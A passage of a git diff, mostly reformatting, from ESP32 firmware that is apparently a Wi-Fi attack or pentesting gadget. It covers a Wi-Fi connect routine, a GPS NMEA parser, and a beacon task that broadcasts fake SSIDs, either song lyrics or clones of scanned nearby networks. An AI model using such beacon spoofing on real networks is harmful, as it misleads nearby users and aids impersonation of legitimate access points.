WIFI_CONNECTED_BIT, pdFALSE, pdTRUE, + pdMS_TO_TICKS(8000)); // Increased to 8 second timeout if (bits & WIFI_CONNECTED_BIT) { // Double check connection status wifi_ap_record_t ap_info; if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) { - printf("Successfully connected to Wi-Fi network: %s\n", ap_info.ssid); - TERMINAL_VIEW_ADD_TEXT("Successfully connected to Wi-Fi network: %s\n", ap_info.ssid); + printf("Successfully connected to Wi-Fi network:\n%s\n", ap_info.ssid); + TERMINAL_VIEW_ADD_TEXT("Successfully connected to Wi-Fi network:\n%s\n", + ap_info.ssid); connected = true; break; } } } else { // Only treat as failed attempt if it's not ESP_ERR_WIFI_CONN - printf("Connection attempt %d failed: %s\n", retry_count + 1, esp_err_to_name(ret)); - TERMINAL_VIEW_ADD_TEXT("Connection attempt %d failed\n", retry_count + 1); + printf("Connection attempt %d failed:\n%s\n", retry_count + 1, esp_err_to_name(ret)); + TERMINAL_VIEW_ADD_TEXT("Connection attempt %d failed:\n%s\n", retry_count + 1, + esp_err_to_name(ret)); } // If we get here and not connected, prepare for retry if (!connected) { esp_wifi_disconnect(); - vTaskDelay(pdMS_TO_TICKS(1000)); // 1 second delay between retries + vTaskDelay(pdMS_TO_TICKS(1000)); // 1 second delay between retries retry_count++; } } @@ -2038,30 +2402,28 @@ void wifi_manager_connect_wifi(const char* ssid, const char* password) { } else { // Get and display IP info esp_netif_ip_info_t ip_info; - if (esp_netif_get_ip_info(esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"), &ip_info) == ESP_OK) { + if (esp_netif_get_ip_info(esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"), &ip_info) == + ESP_OK) { printf("IP Address: " IPSTR "\n", IP2STR(&ip_info.ip)); printf("Subnet Mask: " IPSTR "\n", IP2STR(&ip_info.netmask)); printf("Gateway: " IPSTR "\n", IP2STR(&ip_info.gw)); - + TERMINAL_VIEW_ADD_TEXT("IP Address: " IPSTR "\n", IP2STR(&ip_info.ip)); TERMINAL_VIEW_ADD_TEXT("Connection successful!\n"); } } - } void wifi_beacon_task(void *param) { const char *ssid = (const char *)param; // Array to store lines of the chorus - const char *rickroll_lyrics[] = { - "Never gonna give you up", - "Never gonna let you down", - "Never gonna run around and desert you", - "Never gonna make you cry", - "Never gonna say goodbye", - "Never gonna tell a lie and hurt you" - }; + const char *rickroll_lyrics[] = {"Never gonna give you up", + "Never gonna let you down", + "Never gonna run around and desert you", + "Never gonna make you cry", + "Never gonna say goodbye", + "Never gonna tell a lie and hurt you"}; int num_lines = 5; int line_index = 0; @@ -2073,17 +2435,12 @@ void wifi_beacon_task(void *param) { wifi_manager_broadcast_ap(rickroll_lyrics[line_index]); line_index = (line_index + 1) % num_lines; - } - else if (IsAPList) - { - for (int i = 0; i < ap_count; i++) - { - wifi_manager_broadcast_ap((const char*)scanned_aps[i].ssid); + } else if (IsAPList) { + for (int i = 0; i < ap_count; i++) { + wifi_manager_broadcast_ap((const char *)scanned_aps[i].ssid); vTaskDelay(10 / portTICK_PERIOD_MS); } - } - else - { + } else { wifi_manager_broadcast_ap(ssid); } diff --git a/main/vendor/GPS/MicroNMEA.c b/main/vendor/GPS/MicroNMEA.c index f576c306..a3b9c217 100644 --- a/main/vendor/GPS/MicroNMEA.c +++ b/main/vendor/GPS/MicroNMEA.c @@ -4,14 +4,14 @@ * SPDX-License-Identifier: Apache-2.0 */ -#include -#include -#include -#include +#include "vendor/GPS/MicroNMEA.h" +#include "esp_log.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" -#include "esp_log.h" -#include "vendor/GPS/MicroNMEA.h" +#include +#include +#include +#include /** * @brief NMEA Parser runtime buffer size @@ -30,8 +30,8 @@ #define CONFIG_NMEA_PARSER_TASK_PRIORITY 3 #endif - -#define NMEA_PARSER_RUNTIME_BUFFER_SIZE (CONFIG_NMEA_PARSER_RING_BUFFER_SIZE / 2) +#define NMEA_PARSER_RUNTIME_BUFFER_SIZE \ + (CONFIG_NMEA_PARSER_RING_BUFFER_SIZE / 2) #define NMEA_MAX_STATEMENT_ITEM_LENGTH (16) #define NMEA_EVENT_LOOP_QUEUE_SIZE (16) @@ -43,42 +43,41 @@ ESP_EVENT_DEFINE_BASE(ESP_NMEA_EVENT); static const char *GPS_TAG = "nmea_parser"; - - /** * @brief parse latitude or longitude - * format of latitude in NMEA is ddmm.sss and longitude is dddmm.sss + * format of latitude in NMEA is ddmm.sss and longitude is + * dddmm.sss * @param esp_gps esp_gps_t type object * @return float Latitude or Longitude value (unit: degree) */ -static float parse_lat_long(esp_gps_t *esp_gps) -{ - ESP_LOGD(GPS_TAG, "Parsing coordinate: %s", esp_gps->item_str); - - if (!esp_gps->item_str[0] || esp_gps->item_str[0] == ',') - return 0.0f; - - // Determine if this is latitude (2 digits) or longitude (3 digits) - bool is_latitude = (esp_gps->cur_statement == STATEMENT_GGA && esp_gps->item_num == 2) || - (esp_gps->cur_statement == STATEMENT_RMC && esp_gps->item_num == 3); - int deg_width = is_latitude ? 2 : 3; - - // Parse degrees part - char deg_str[4] = {0}; - strncpy(deg_str, esp_gps->item_str, deg_width); - int degrees = atoi(deg_str); - - // Parse minutes part - float minutes = strtof(esp_gps->item_str + deg_width, NULL); - - // Convert to decimal degrees - float decimal_degrees = degrees + (minutes / 60.0f); - - ESP_LOGD(GPS_TAG, "Parsed %s: %d° %f' = %f°", - is_latitude ? "latitude" : "longitude", - degrees, minutes, decimal_degrees); - - return decimal_degrees; +static float parse_lat_long(esp_gps_t *esp_gps) { + ESP_LOGD(GPS_TAG, "Parsing coordinate: %s", esp_gps->item_str); + + if (!esp_gps->item_str[0] || esp_gps->item_str[0] == ',') + return 0.0f; + + // Determine if this is latitude (2 digits) or longitude (3 digits) + bool is_latitude = + (esp_gps->cur_statement == STATEMENT_GGA && esp_gps->item_num == 2) || + (esp_gps->cur_statement == STATEMENT_RMC && esp_gps->item_num == 3); + int deg_width = is_latitude ? 2 : 3; + + // Parse degrees part + char deg_str[4] = {0}; + strncpy(deg_str, esp_gps->item_str, deg_width); + int degrees = atoi(deg_str); + + // Parse minutes part + float minutes = strtof(esp_gps->item_str + deg_width, NULL); + + // Convert to decimal degrees + float decimal_degrees = degrees + (minutes / 60.0f); + + ESP_LOGD(GPS_TAG, "Parsed %s: %d° %f' = %f°", + is_latitude ? "latitude" : "longitude", degrees, minutes, + decimal_degrees); + + return decimal_degrees; } /** @@ -87,9 +86,8 @@ static float parse_lat_long(esp_gps_t *esp_gps) * @param digit_char numeric character * @return uint8_t result of converting */ -static inline uint8_t convert_two_digit2number(const char *digit_char) -{ - return 10 * (digit_char[0] - '0') + (digit_char[1] - '0'); +static inline uint8_t convert_two_digit2number(const char *digit_char) { + return 10 * (digit_char[0] - '0') + (digit_char[1] - '0'); } /** @@ -97,20 +95,19 @@ static inline uint8_t convert_two_digit2number(const char *digit_char) * * @param esp_gps esp_gps_t type object */ -static void parse_utc_time(esp_gps_t *esp_gps) -{ - esp_gps->parent.tim.hour = convert_two_digit2number(esp_gps->item_str + 0); - esp_gps->parent.tim.minute = convert_two_digit2number(esp_gps->item_str + 2); - esp_gps->parent.tim.second = convert_two_digit2number(esp_gps->item_str + 4); - if (esp_gps->item_str[6] == '.') { - uint16_t tmp = 0; - uint8_t i = 7; - while (esp_gps->item_str[i]) { - tmp = 10 * tmp + esp_gps->item_str[i] - '0'; - i++; - } - esp_gps->parent.tim.thousand = tmp; +static void parse_utc_time(esp_gps_t *esp_gps) { + esp_gps->parent.tim.hour = convert_two_digit2number(esp_gps->item_str + 0); + esp_gps->parent.tim.minute = convert_two_digit2number(esp_gps->item_str + 2); + esp_gps->parent.tim.second = convert_two_digit2number(esp_gps->item_str + 4); + if (esp_gps->item_str[6] == '.') { + uint16_t tmp = 0; + uint8_t i = 7; + while (esp_gps->item_str[i]) { + tmp = 10 * tmp + esp_gps->item_str[i] - '0'; + i++; } + esp_gps->parent.tim.thousand = tmp; + } } #if CONFIG_NMEA_STATEMENT_GGA @@ -119,47 +116,46 @@ static void parse_utc_time(esp_gps_t *esp_gps) * * @param esp_gps esp_gps_t type object */ -static void parse_gga(esp_gps_t *esp_gps) -{ - /* Process GGA statement */ - switch (esp_gps->item_num) { - case 1: /* Process UTC time */ - parse_utc_time(esp_gps); - break; - case 2: /* Latitude */ - esp_gps->parent.latitude = parse_lat_long(esp_gps); - break; - case 3: /* Latitude north(1)/south(-1) information */ - if (esp_gps->item_str[0] == 'S' || esp_gps->item_str[0] == 's') { - esp_gps->parent.latitude *= -1; - } - break; - case 4: /* Longitude */ - esp_gps->parent.longitude = parse_lat_long(esp_gps); - break; - case 5: /* Longitude east(1)/west(-1) information */ - if (esp_gps->item_str[0] == 'W' || esp_gps->item_str[0] == 'w') { - esp_gps->parent.longitude *= -1; - } - break; - case 6: /* Fix status */ - esp_gps->parent.fix = (gps_fix_t)strtol(esp_gps->item_str, NULL, 10); - break; - case 7: /* Satellites in use */ - esp_gps->parent.sats_in_use = (uint8_t)strtol(esp_gps->item_str, NULL, 10); - break; - case 8: /* HDOP */ - esp_gps->parent.dop_h = strtof(esp_gps->item_str, NULL); - break; - case 9: /* Altitude */ - esp_gps->parent.altitude = strtof(esp_gps->item_str, NULL); - break; - case 11: /* Altitude above ellipsoid */ - esp_gps->parent.altitude += strtof(esp_gps->item_str, NULL); - break; - default: - break; +static void parse_gga(esp_gps_t *esp_gps) { + /* Process GGA statement */ + switch (esp_gps->item_num) { + case 1: /* Process UTC time */ + parse_utc_time(esp_gps); + break; + case 2: /* Latitude */ + esp_gps->parent.latitude = parse_lat_long(esp_gps); + break; + case 3: /* Latitude north(1)/south(-1) information */ + if (esp_gps->item_str[0] == 'S' || esp_gps->item_str[0] == 's') { + esp_gps->parent.latitude *= -1; } + break; + case 4: /* Longitude */ + esp_gps->parent.longitude = parse_lat_long(esp_gps); + break; + case 5: /* Longitude east(1)/west(-1) information */ + if (esp_gps->item_str[0] == 'W' || esp_gps->item_str[0] == 'w') { + esp_gps->parent.longitude *= -1; + } + break; + case 6: /* Fix status */ + esp_gps->parent.fix = (gps_fix_t)strtol(esp_gps->item_str, NULL, 10); + break; + case 7: /* Satellites in use */ + esp_gps->parent.sats_in_use = (uint8_t)strtol(esp_gps->item_str, NULL, 10); + break; + case 8: /* HDOP */ + esp_gps->parent.dop_h = strtof(esp_gps->item_str, NULL); + break; + case 9: /* Altitude */ + esp_gps->parent.altitude = strtof(esp_gps->item_str, NULL); + break; + case 11: /* Altitude above ellipsoid */ + esp_gps->parent.altitude += strtof(esp_gps->item_str, NULL); + break; + default: + break; + } } #endif @@ -169,29 +165,30 @@ static void parse_gga(esp_gps_t *esp_gps) * * @param esp_gps esp_gps_t type object */ -static void parse_gsa(esp_gps_t *esp_gps) -{ - /* Process GSA statement */ - switch (esp_gps->item_num) { - case 2: /* Process fix mode */ - esp_gps->parent.fix_mode = (gps_fix_mode_t)strtol(esp_gps->item_str, NULL, 10); - break; - case 15: /* Process PDOP */ - esp_gps->parent.dop_p = strtof(esp_gps->item_str, NULL); - break; - case 16: /* Process HDOP */ - esp_gps->parent.dop_h = strtof(esp_gps->item_str, NULL); - break; - case 17: /* Process VDOP */ - esp_gps->parent.dop_v = strtof(esp_gps->item_str, NULL); - break; - default: - /* Parse satellite IDs */ - if (esp_gps->item_num >= 3 && esp_gps->item_num <= 14) { - esp_gps->parent.sats_id_in_use[esp_gps->item_num - 3] = (uint8_t)strtol(esp_gps->item_str, NULL, 10); - } - break; +static void parse_gsa(esp_gps_t *esp_gps) { + /* Process GSA statement */ + switch (esp_gps->item_num) { + case 2: /* Process fix mode */ + esp_gps->parent.fix_mode = + (gps_fix_mode_t)strtol(esp_gps->item_str, NULL, 10); + break; + case 15: /* Process PDOP */ + esp_gps->parent.dop_p = strtof(esp_gps->item_str, NULL); + break; + case 16: /* Process HDOP */ + esp_gps->parent.dop_h = strtof(esp_gps->item_str, NULL); + break; + case 17: /* Process VDOP */ + esp_gps->parent.dop_v = strtof(esp_gps->item_str, NULL); + break; + default: + /* Parse satellite IDs */ + if (esp_gps->item_num >= 3 && esp_gps->item_num <= 14) { + esp_gps->parent.sats_id_in_use[esp_gps->item_num - 3] = + (uint8_t)strtol(esp_gps->item_str, NULL, 10); } + break; + } } #endif @@ -201,47 +198,47 @@ static void parse_gsa(esp_gps_t *esp_gps) * * @param esp_gps esp_gps_t type object */ -static void parse_gsv(esp_gps_t *esp_gps) -{ - /* Process GSV statement */ - switch (esp_gps->item_num) { - case 1: /* total GSV numbers */ - esp_gps->sat_count = (uint8_t)strtol(esp_gps->item_str, NULL, 10); - break; - case 2: /* Current GSV statement number */ - esp_gps->sat_num = (uint8_t)strtol(esp_gps->item_str, NULL, 10); - break; - case 3: /* Process satellites in view */ - esp_gps->parent.sats_in_view = (uint8_t)strtol(esp_gps->item_str, NULL, 10); - break; - default: - if (esp_gps->item_num >= 4 && esp_gps->item_num <= 19) { - uint8_t item_num = esp_gps->item_num - 4; /* Normalize item number from 4-19 to 0-15 */ - uint8_t index; - uint32_t value; - index = 4 * (esp_gps->sat_num - 1) + item_num / 4; /* Get array index */ - if (index < GPS_MAX_SATELLITES_IN_VIEW) { - value = strtol(esp_gps->item_str, NULL, 10); - switch (item_num % 4) { - case 0: - esp_gps->parent.sats_desc_in_view[index].num = (uint8_t)value; - break; - case 1: - esp_gps->parent.sats_desc_in_view[index].elevation = (uint8_t)value; - break; - case 2: - esp_gps->parent.sats_desc_in_view[index].azimuth = (uint16_t)value; - break; - case 3: - esp_gps->parent.sats_desc_in_view[index].snr = (uint8_t)value; - break; - default: - break; - } - } +static void parse_gsv(esp_gps_t *esp_gps) { + /* Process GSV statement */ + switch (esp_gps->item_num) { + case 1: /* total GSV numbers */ + esp_gps->sat_count = (uint8_t)strtol(esp_gps->item_str, NULL, 10); + break; + case 2: /* Current GSV statement number */ + esp_gps->sat_num = (uint8_t)strtol(esp_gps->item_str, NULL, 10); + break; + case 3: /* Process satellites in view */ + esp_gps->parent.sats_in_view = (uint8_t)strtol(esp_gps->item_str, NULL, 10); + break; + default: + if (esp_gps->item_num >= 4 && esp_gps->item_num <= 19) { + uint8_t item_num = + esp_gps->item_num - 4; /* Normalize item number from 4-19 to 0-15 */ + uint8_t index; + uint32_t value; + index = 4 * (esp_gps->sat_num - 1) + item_num / 4; /* Get array index */ + if (index < GPS_MAX_SATELLITES_IN_VIEW) { + value = strtol(esp_gps->item_str, NULL, 10); + switch (item_num % 4) { + case 0: + esp_gps->parent.sats_desc_in_view[index].num = (uint8_t)value; + break; + case 1: + esp_gps->parent.sats_desc_in_view[index].elevation = (uint8_t)value; + break; + case 2: + esp_gps->parent.sats_desc_in_view[index].azimuth = (uint16_t)value; + break; + case 3: + esp_gps->parent.sats_desc_in_view[index].snr = (uint8_t)value; + break; + default: + break; } - break; + } } + break; + } } #endif @@ -251,49 +248,49 @@ static void parse_gsv(esp_gps_t *esp_gps) * * @param esp_gps esp_gps_t type object */ -static void parse_rmc(esp_gps_t *esp_gps) -{ - /* Process GPRMC statement */ - switch (esp_gps->item_num) { - case 1:/* Process UTC time */ - parse_utc_time(esp_gps); - break; - case 2: /* Process valid status */ - esp_gps->parent.valid = (esp_gps->item_str[0] == 'A'); - break; - case 3:/* Latitude */ - esp_gps->parent.latitude = parse_lat_long(esp_gps); - break; - case 4: /* Latitude north(1)/south(-1) information */ - if (esp_gps->item_str[0] == 'S' || esp_gps->item_str[0] == 's') { - esp_gps->parent.latitude *= -1; - } - break; - case 5: /* Longitude */ - esp_gps->parent.longitude = parse_lat_long(esp_gps); - break; - case 6: /* Longitude east(1)/west(-1) information */ - if (esp_gps->item_str[0] == 'W' || esp_gps->item_str[0] == 'w') { - esp_gps->parent.longitude *= -1; - } - break; - case 7: /* Process ground speed in unit m/s */ - esp_gps->parent.speed = strtof(esp_gps->item_str, NULL) * 1.852; - break; - case 8: /* Process true course over ground */ - esp_gps->parent.cog = strtof(esp_gps->item_str, NULL); - break; - case 9: /* Process date */ - esp_gps->parent.date.day = convert_two_digit2number(esp_gps->item_str + 0); - esp_gps->parent.date.month = convert_two_digit2number(esp_gps->item_str + 2); - esp_gps->parent.date.year = convert_two_digit2number(esp_gps->item_str + 4); - break; - case 10: /* Process magnetic variation */ - esp_gps->parent.variation = strtof(esp_gps->item_str, NULL); - break; - default: - break; +static void parse_rmc(esp_gps_t *esp_gps) { + /* Process GPRMC statement */ + switch (esp_gps->item_num) { + case 1: /* Process UTC time */ + parse_utc_time(esp_gps); + break; + case 2: /* Process valid status */ + esp_gps->parent.valid = (esp_gps->item_str[0] == 'A'); + break; + case 3: /* Latitude */ + esp_gps->parent.latitude = parse_lat_long(esp_gps); + break; + case 4: /* Latitude north(1)/south(-1) information */ + if (esp_gps->item_str[0] == 'S' || esp_gps->item_str[0] == 's') { + esp_gps->parent.latitude *= -1; } + break; + case 5: /* Longitude */ + esp_gps->parent.longitude = parse_lat_long(esp_gps); + break; + case 6: /* Longitude east(1)/west(-1) information */ + if (esp_gps->item_str[0] == 'W' || esp_gps->item_str[0] == 'w') { + esp_gps->parent.longitude *= -1; + } + break; + case 7: /* Process ground speed in unit m/s */ + esp_gps->parent.speed = strtof(esp_gps->item_str, NULL) * 1.852; + break; + case 8: /* Process true course over ground */ + esp_gps->parent.cog = strtof(esp_gps->item_str, NULL); + break; + case 9: /* Process date */ + esp_gps->parent.date.day = convert_two_digit2number(esp_gps->item_str + 0); + esp_gps->parent.date.month = + convert_two_digit2number(esp_gps->item_str + 2); + esp_gps->parent.date.year = convert_two_digit2number(esp_gps->item_str + 4); + break; + case 10: /* Process magnetic variation */ + esp_gps->parent.variation = strtof(esp_gps->item_str, NULL); + break; + default: + break; + } } #endif @@ -303,35 +300,34 @@ static void parse_rmc(esp_gps_t *esp_gps) * * @param esp_gps esp_gps_t type object */ -static void parse_gll(esp_gps_t *esp_gps) -{ - /* Process GPGLL statement */ - switch (esp_gps->item_num) { - case 1:/* Latitude */ - esp_gps->parent.latitude = parse_lat_long(esp_gps); - break; - case 2: /* Latitude north(1)/south(-1) information */ - if (esp_gps->item_str[0] == 'S' || esp_gps->item_str[0] == 's') { - esp_gps->parent.latitude *= -1; - } - break; - case 3: /* Longitude */ - esp_gps->parent.longitude = parse_lat_long(esp_gps); - break; - case 4: /* Longitude east(1)/west(-1) information */ - if (esp_gps->item_str[0] == 'W' || esp_gps->item_str[0] == 'w') { - esp_gps->parent.longitude *= -1; - } - break; - case 5:/* Process UTC time */ - parse_utc_time(esp_gps); - break; - case 6: /* Process valid status */ - esp_gps->parent.valid = (esp_gps->item_str[0] == 'A'); - break; - default: - break; +static void parse_gll(esp_gps_t *esp_gps) { + /* Process GPGLL statement */ + switch (esp_gps->item_num) { + case 1: /* Latitude */ + esp_gps->parent.latitude = parse_lat_long(esp_gps); + break; + case 2: /* Latitude north(1)/south(-1) information */ + if (esp_gps->item_str[0] == 'S' || esp_gps->item_str[0] == 's') { + esp_gps->parent.latitude *= -1; + } + break; + case 3: /* Longitude */ + esp_gps->parent.longitude = parse_lat_long(esp_gps); + break; + case 4: /* Longitude east(1)/west(-1) information */ + if (esp_gps->item_str[0] == 'W' || esp_gps->item_str[0] == 'w') { + esp_gps->parent.longitude *= -1; } + break; + case 5: /* Process UTC time */ + parse_utc_time(esp_gps); + break; + case 6: /* Process valid status */ + esp_gps->parent.valid = (esp_gps->item_str[0] == 'A'); + break; + default: + break; + } } #endif @@ -341,25 +337,26 @@ static void parse_gll(esp_gps_t *esp_gps) * * @param esp_gps esp_gps_t type object */ -static void parse_vtg(esp_gps_t *esp_gps) -{ - /* Process GPVGT statement */ - switch (esp_gps->item_num) { - case 1: /* Process true course over ground */ - esp_gps->parent.cog = strtof(esp_gps->item_str, NULL); - break; - case 3:/* Process magnetic variation */ - esp_gps->parent.variation = strtof(esp_gps->item_str, NULL); - break; - case 5:/* Process ground speed in unit m/s */ - esp_gps->parent.speed = strtof(esp_gps->item_str, NULL) * 1.852;//knots to m/s - break; - case 7:/* Process ground speed in unit m/s */ - esp_gps->parent.speed = strtof(esp_gps->item_str, NULL) / 3.6;//km/h to m/s - break; - default: - break; - } +static void parse_vtg(esp_gps_t *esp_gps) { + /* Process GPVGT statement */ + switch (esp_gps->item_num) { + case 1: /* Process true course over ground */ + esp_gps->parent.cog = strtof(esp_gps->item_str, NULL); + break; + case 3: /* Process magnetic variation */ + esp_gps->parent.variation = strtof(esp_gps->item_str, NULL); + break; + case 5: /* Process ground speed in unit m/s */ + esp_gps->parent.speed = + strtof(esp_gps->item_str, NULL) * 1.852; // knots to m/s + break; + case 7: /* Process ground speed in unit m/s */ + esp_gps->parent.speed = strtof(esp_gps->item_str, NULL) / 3.6; // km/h to + // m/s + break; + default: + break; + } } #endif @@ -369,87 +366,86 @@ static void parse_vtg(esp_gps_t *esp_gps) * @param esp_gps esp_gps_t type object * @return esp_err_t ESP_OK on success, ESP_FAIL on error */ -static esp_err_t parse_item(esp_gps_t *esp_gps) -{ - esp_err_t err = ESP_OK; - /* start of a statement */ - if (esp_gps->item_num == 0 && esp_gps->item_str[0] == '$') { - if (0) { - } +static esp_err_t parse_item(esp_gps_t *esp_gps) { + esp_err_t err = ESP_OK; + /* start of a statement */ + if (esp_gps->item_num == 0 && esp_gps->item_str[0] == '$') { + if (0) { + } #if CONFIG_NMEA_STATEMENT_GGA - else if (strstr(esp_gps->item_str, "GGA")) { - esp_gps->cur_statement = STATEMENT_GGA; - } + else if (strstr(esp_gps->item_str, "GGA")) { + esp_gps->cur_statement = STATEMENT_GGA; + } #endif #if CONFIG_NMEA_STATEMENT_GSA - else if (strstr(esp_gps->item_str, "GSA")) { - esp_gps->cur_statement = STATEMENT_GSA; - } + else if (strstr(esp_gps->item_str, "GSA")) { + esp_gps->cur_statement = STATEMENT_GSA; + } #endif #if CONFIG_NMEA_STATEMENT_RMC - else if (strstr(esp_gps->item_str, "RMC")) { - esp_gps->cur_statement = STATEMENT_RMC; - } + else if (strstr(esp_gps->item_str, "RMC")) { + esp_gps->cur_statement = STATEMENT_RMC; + } #endif #if CONFIG_NMEA_STATEMENT_GSV - else if (strstr(esp_gps->item_str, "GSV")) { - esp_gps->cur_statement = STATEMENT_GSV; - } + else if (strstr(esp_gps->item_str, "GSV")) { + esp_gps->cur_statement = STATEMENT_GSV; + } #endif #if CONFIG_NMEA_STATEMENT_GLL - else if (strstr(esp_gps->item_str, "GLL")) { - esp_gps->cur_statement = STATEMENT_GLL; - } + else if (strstr(esp_gps->item_str, "GLL")) { + esp_gps->cur_statement = STATEMENT_GLL; + } #endif #if CONFIG_NMEA_STATEMENT_VTG - else if (strstr(esp_gps->item_str, "VTG")) { - esp_gps->cur_statement = STATEMENT_VTG; - } -#endif - else { - esp_gps->cur_statement = STATEMENT_UNKNOWN; - } - goto out; + else if (strstr(esp_gps->item_str, "VTG")) { + esp_gps->cur_statement = STATEMENT_VTG; } - /* Parse each item, depend on the type of the statement */ - if (esp_gps->cur_statement == STATEMENT_UNKNOWN) { - goto out; +#endif + else { + esp_gps->cur_statement = STATEMENT_UNKNOWN; } + goto out; + } + /* Parse each item, depend on the type of the statement */ + if (esp_gps->cur_statement == STATEMENT_UNKNOWN) { + goto out; + } #if CONFIG_NMEA_STATEMENT_GGA - else if (esp_gps->cur_statement == STATEMENT_GGA) { - parse_gga(esp_gps); - } + else if (esp_gps->cur_statement == STATEMENT_GGA) { + parse_gga(esp_gps); + } #endif #if CONFIG_NMEA_STATEMENT_GSA - else if (esp_gps->cur_statement == STATEMENT_GSA) { - parse_gsa(esp_gps); - } + else if (esp_gps->cur_statement == STATEMENT_GSA) { + parse_gsa(esp_gps); + } #endif #if CONFIG_NMEA_STATEMENT_GSV - else if (esp_gps->cur_statement == STATEMENT_GSV) { - parse_gsv(esp_gps); - } + else if (esp_gps->cur_statement == STATEMENT_GSV) { + parse_gsv(esp_gps); + } #endif #if CONFIG_NMEA_STATEMENT_RMC - else if (esp_gps->cur_statement == STATEMENT_RMC) { - parse_rmc(esp_gps); - } + else if (esp_gps->cur_statement == STATEMENT_RMC) { + parse_rmc(esp_gps); + } #endif #if CONFIG_NMEA_STATEMENT_GLL - else if (esp_gps->cur_statement == STATEMENT_GLL) { - parse_gll(esp_gps); - } + else if (esp_gps->cur_statement == STATEMENT_GLL) { + parse_gll(esp_gps); + } #endif #if CONFIG_NMEA_STATEMENT_VTG - else if (esp_gps->cur_statement == STATEMENT_VTG) { - parse_vtg(esp_gps); - } + else if (esp_gps->cur_statement == STATEMENT_VTG) { + parse_vtg(esp_gps); + } #endif - else { - err = ESP_FAIL; - } + else { + err = ESP_FAIL; + } out: - return err; + return err; } /** @@ -459,118 +455,119 @@ static esp_err_t parse_item(esp_gps_t *esp_gps) * @param len number of bytes to decode * @return esp_err_t ESP_OK on success, ESP_FAIL on error */ -static esp_err_t gps_decode(esp_gps_t *esp_gps, size_t len) -{ - const uint8_t *d = esp_gps->buffer; - while (*d) { - /* Start of a statement */ - if (*d == '$') { - /* Reset runtime information */ - esp_gps->asterisk = 0; - esp_gps->item_num = 0; - esp_gps->item_pos = 0; - esp_gps->cur_statement = 0; - esp_gps->crc = 0; - esp_gps->sat_count = 0; - esp_gps->sat_num = 0; - /* Add character to item */ - esp_gps->item_str[esp_gps->item_pos++] = *d; - esp_gps->item_str[esp_gps->item_pos] = '\0'; - } - /* Detect item separator character */ - else if (*d == ',') { - /* Parse current item */ - parse_item(esp_gps); - /* Add character to CRC computation */ - esp_gps->crc ^= (uint8_t)(*d); - /* Start with next item */ - esp_gps->item_pos = 0; - esp_gps->item_str[0] = '\0'; - esp_gps->item_num++; - } - /* End of CRC computation */ - else if (*d == '*') { - /* Parse current item */ - parse_item(esp_gps); - /* Asterisk detected */ - esp_gps->asterisk = 1; - /* Start with next item */ - esp_gps->item_pos = 0; - esp_gps->item_str[0] = '\0'; - esp_gps->item_num++; - } - /* End of statement */ - else if (*d == '\r') { - /* Convert received CRC from string (hex) to number */ - uint8_t crc = (uint8_t)strtol(esp_gps->item_str, NULL, 16); - /* CRC passed */ - if (esp_gps->crc == crc) { - switch (esp_gps->cur_statement) { +static esp_err_t gps_decode(esp_gps_t *esp_gps, size_t len) { + const uint8_t *d = esp_gps->buffer; + while (*d) { + /* Start of a statement */ + if (*d == '$') { + /* Reset runtime information */ + esp_gps->asterisk = 0; + esp_gps->item_num = 0; + esp_gps->item_pos = 0; + esp_gps->cur_statement = 0; + esp_gps->crc = 0; + esp_gps->sat_count = 0; + esp_gps->sat_num = 0; + /* Add character to item */ + esp_gps->item_str[esp_gps->item_pos++] = *d; + esp_gps->item_str[esp_gps->item_pos] = '\0'; + } + /* Detect item separator character */ + else if (*d == ',') { + /* Parse current item */ + parse_item(esp_gps); + /* Add character to CRC computation */ + esp_gps->crc ^= (uint8_t)(*d); + /* Start with next item */ + esp_gps->item_pos = 0; + esp_gps->item_str[0] = '\0'; + esp_gps->item_num++; + } + /* End of CRC computation */ + else if (*d == '*') { + /* Parse current item */ + parse_item(esp_gps); + /* Asterisk detected */ + esp_gps->asterisk = 1; + /* Start with next item */ + esp_gps->item_pos = 0; + esp_gps->item_str[0] = '\0'; + esp_gps->item_num++; + } + /* End of statement */ + else if (*d == '\r') { + /* Convert received CRC from string (hex) to number */ + uint8_t crc = (uint8_t)strtol(esp_gps->item_str, NULL, 16); + /* CRC passed */ + if (esp_gps->crc == crc) { + switch (esp_gps->cur_statement) { #if CONFIG_NMEA_STATEMENT_GGA - case STATEMENT_GGA: - esp_gps->parsed_statement |= 1 << STATEMENT_GGA; - break; + case STATEMENT_GGA: + esp_gps->parsed_statement |= 1 << STATEMENT_GGA; + break; #endif #if CONFIG_NMEA_STATEMENT_GSA - case STATEMENT_GSA: - esp_gps->parsed_statement |= 1 << STATEMENT_GSA; - break; + case STATEMENT_GSA: + esp_gps->parsed_statement |= 1 << STATEMENT_GSA; + break; #endif #if CONFIG_NMEA_STATEMENT_RMC - case STATEMENT_RMC: - esp_gps->parsed_statement |= 1 << STATEMENT_RMC; - break; + case STATEMENT_RMC: + esp_gps->parsed_statement |= 1 << STATEMENT_RMC; + break; #endif #if CONFIG_NMEA_STATEMENT_GSV - case STATEMENT_GSV: - if (esp_gps->sat_num == esp_gps->sat_count) { - esp_gps->parsed_statement |= 1 << STATEMENT_GSV; - } - break; + case STATEMENT_GSV: + if (esp_gps->sat_num == esp_gps->sat_count) { + esp_gps->parsed_statement |= 1 << STATEMENT_GSV; + } + break; #endif #if CONFIG_NMEA_STATEMENT_GLL - case STATEMENT_GLL: - esp_gps->parsed_statement |= 1 << STATEMENT_GLL; - break; + case STATEMENT_GLL: + esp_gps->parsed_statement |= 1 << STATEMENT_GLL; + break; #endif #if CONFIG_NMEA_STATEMENT_VTG - case STATEMENT_VTG: - esp_gps->parsed_statement |= 1 << STATEMENT_VTG; - break; -#endif - default: - break; - } - /* Check if all statements have been parsed */ - if (((esp_gps->parsed_statement) & esp_gps->all_statements) == esp_gps->all_statements) { - esp_gps->parsed_statement = 0; - /* Send signal to notify that GPS information has been updated */ - esp_event_post_to(esp_gps->event_loop_hdl, ESP_NMEA_EVENT, GPS_UPDATE, - &(esp_gps->parent), sizeof(gps_t), 100 / portTICK_PERIOD_MS); - } - } else { - ESP_LOGD(GPS_TAG, "CRC Error for statement:%s", esp_gps->buffer); - } - if (esp_gps->cur_statement == STATEMENT_UNKNOWN) { - /* Send signal to notify that one unknown statement has been met */ - esp_event_post_to(esp_gps->event_loop_hdl, ESP_NMEA_EVENT, GPS_UNKNOWN, - esp_gps->buffer, len, 100 / portTICK_PERIOD_MS); - } + case STATEMENT_VTG: + esp_gps->parsed_statement |= 1 << STATEMENT_VTG; + break; 